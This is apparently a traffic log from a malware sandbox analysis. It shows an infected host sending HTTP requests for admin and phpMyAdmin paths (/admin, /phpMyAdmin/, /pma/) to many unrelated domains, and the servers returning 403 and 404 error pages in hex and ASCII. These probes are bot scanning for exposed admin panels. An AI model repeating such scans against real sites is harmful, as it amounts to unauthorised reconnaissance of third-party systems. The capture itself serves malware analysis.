Dec 2, 2023 18:04:44.362221956 CET	639	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:44 GMT Server: Apache Set-Cookie: vsid=921vr449082284321630147; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 31 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (21)</h3> ...- 149.18.24.110---></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	62565	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:44.197238922 CET	226	OUT	GET /admin HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.347455025 CET	638	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:44 GMT Server: Apache Set-Cookie: vsid=926vr44908228430151022; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 36 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (26)</h3> ...- 149.18.24.110---></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	62571	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:44.243236065 CET	218	OUT	GET /admin HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.596834898 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:43 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	62852	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:44.270677090 CET	229	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.436161995 CET	636	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:44 GMT Server: Apache Set-Cookie: vsid=921vr449082284391400791; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 31 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (21)</h3> ...- 149.18.24.110---></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	62760	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:44.369065046 CET	226	OUT	GET /admin HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.537146091 CET	639	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:44 GMT Server: Apache Set-Cookie: vsid=929vr449082284484134809; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 39 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (29)</h3> ...- 149.18.24.110---></div></body></html>
Dec 2, 2023 18:04:44.738462925 CET	639	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:44 GMT Server: Apache Set-Cookie: vsid=929vr449082284484134809; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 39 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (29)</h3> ...- 149.18.24.110---></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	62941	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:44.413064003 CET	223	OUT	GET /admin HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.594713926 CET	636	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:44 GMT Server: Apache Set-Cookie: vsid=919vr449082284534193507; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 31 39 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (19)</h3> ...- 149.18.24.110---></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	63013	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:44.452148914 CET	232	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.614057064 CET	638	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:44 GMT Server: Apache Set-Cookie: vsid=926vr44908228457202671; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 36 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (26)</h3> ...- 149.18.24.110---></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	62292	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:45.135128021 CET	217	OUT	GET /pma/ HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:45.472379923 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:33 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:45.472390890 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	51962	46.254.37.204	443

Timestamp	Bytes transferred	Direction	Data
2023-12-02 17:04:33 UTC	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
